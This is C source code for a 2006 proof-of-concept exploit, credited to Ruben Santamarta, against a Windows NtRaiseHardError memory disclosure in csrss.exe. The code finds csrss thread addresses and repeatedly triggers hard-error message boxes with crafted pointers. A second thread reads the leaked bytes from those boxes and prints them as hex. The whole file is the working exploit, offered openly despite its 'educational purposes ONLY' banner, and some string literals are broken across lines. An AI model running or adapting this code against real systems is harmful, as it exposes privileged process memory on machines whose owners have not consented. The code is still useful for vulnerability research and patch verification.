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/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe memory disclosure
/////////////////////////////////////////
///// Ruben Santamarta
///// ruben at reversemode dot com
///// [url]www.reversemode.com[/url]
/////////////////////////////////////////
///// 12.27.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>
#define UNICODE
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS ((NTSTATUS) 0x00000000)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
#define STATUS_INVALID_PARAMETER ((NTSTATUS) 0xC000000D)
#define SystemProcessesAndThreadsInformation 5
#define NTAPI __stdcall
int gLen=1;
typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
ULONG,
ULONG,
PULONG,
UINT,
PULONG);
typedef LONG NTSTATUS;
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID {
DWORD UniqueProcess;
DWORD UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef struct _VM_COUNTERS {
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
} VM_COUNTERS;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
LONG State;
LONG WaitReason;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREAD_INFORMATION Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);
ULONG GetCsrssThread()
{
ULONG cbBuffer = 0x5000;
ULONG tPointer;
LPVOID pBuffer = NULL;
NTSTATUS Status;
PCWSTR pszProcessName;
DWORD junk;
ULONG ThreadCount;
int i=0,b=0;
PQUERYSYSTEM NtQuerySystemInformation;
PSYSTEM_THREAD_INFORMATION pThreads;
PSYSTEM_PROCESS_INFORMATION pInfo ;
NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress( LoadLibrary( "ntdll.dll" ),
"NtQuerySystemInformation" );
do
{
pBuffer = malloc(cbBuffer);
if (pBuffer == NULL)
{
printf(("Not enough memory
"));
break;
}
Status = NtQuerySystemInformation(
SystemProcessesAndThreadsInformation,
pBuffer, cbBuffer, NULL);
if (Status == STATUS_INFO_LENGTH_MISMATCH)
{
free(pBuffer);
cbBuffer *= 2;
}
else if (!NT_SUCCESS(Status))
{
printf("NtQuerySystemInformation Error! ");
free(pBuffer);
}
} while (Status == STATUS_INFO_LENGTH_MISMATCH);
pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
for (;;)
{
if (pInfo->NextEntryDelta == 0)
break;
if(pInfo->ProcessName.Buffer!=NULL &&
!wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))
{
printf("
[%ws]
", pInfo->ProcessName.Buffer);
printf("5 addresses for testing purposes
");
for(b=0;b<5;b++)
{
printf("Thread %d -> 0x%x
",b,pInfo->Threads[b].StartAddress);
}
tPointer=(ULONG)pInfo->Threads[1].StartAddress;
}
pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
+ pInfo->NextEntryDelta);
}
free(pBuffer);
return tPointer;
}
VOID WINAPI ReadBox( LPVOID param )
{
HWND hWindow,hButton,hText;
int i=0,b=0;
int gTemp;
char lpTitle[300];
char lpText[300];
char lpBuff[500];
for (;;)
{
lpText[0]=(BYTE)"";
Sleep(800);
hWindow = FindWindow("#32770",NULL);
if(hWindow != NULL)
{
GetWindowText(hWindow,(LPSTR)&lpTitle,250);
hText=FindWindowEx(hWindow,0,"static",0);
GetWindowText(hText,(LPSTR)&lpText,250);
hText=GetNextWindow(hText,GW_HWNDNEXT);
GetWindowText(hText,(LPSTR)&lpText,250);
gTemp = strlen(lpTitle);
if ( gTemp>1 ) gLen = gTemp;
else gLen = 1;
for(i = 0; i < gTemp; i++) printf("%.2X",(BYTE)lpTitle[i]);
SendMessage(hWindow,WM_CLOSE,0,0);
ZeroMemory((LPVOID)lpTitle,250);
ZeroMemory((LPVOID)lpText,250);
ZeroMemory((LPVOID)lpBuff,300);
}
}
}
int main()
{
UNICODE_STRING uStr={5,5,L"fun!"};
ULONG retValue,args[]={0,0,&uStr};
ULONG csAddr;
PNTRAISE NtRaiseHardError;
int i=0;
system("cls");
printf("##########################################
");
printf("### Microsoft Windows NtRaiseHardError ###
");
printf("##### Csrss.exe memory disclosure ######
");
printf("@@@@@ Xmas Exploit - ho ho ho! @@@@@@
");
printf("## Ruben Santamarta [url]www.reversemode.com[/url] ##
");
printf("##########################################
");
NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtRaiseHardError");
csAddr=GetCsrssThread();
args[0]=csAddr;
args[1]=csAddr;
printf("
[+] Capturing Messages
");
CreateThread( NULL,
0,
(LPTHREAD_START_ROUTINE)ReadBox,
0,
0,
NULL);
printf("
[+] Now reading at: [0x%p] - Thread 1
",csAddr);
for(;;)
{
printf("Reading bytes at [0x%p] : ",args[0]);
NtRaiseHardError(0x50000018,3,4,args,1,&retValue);
if(retValue && gLen<=1) printf("00
");
else printf("
");
args[0]+=gLen;
args[1]+=gLen;
}
}
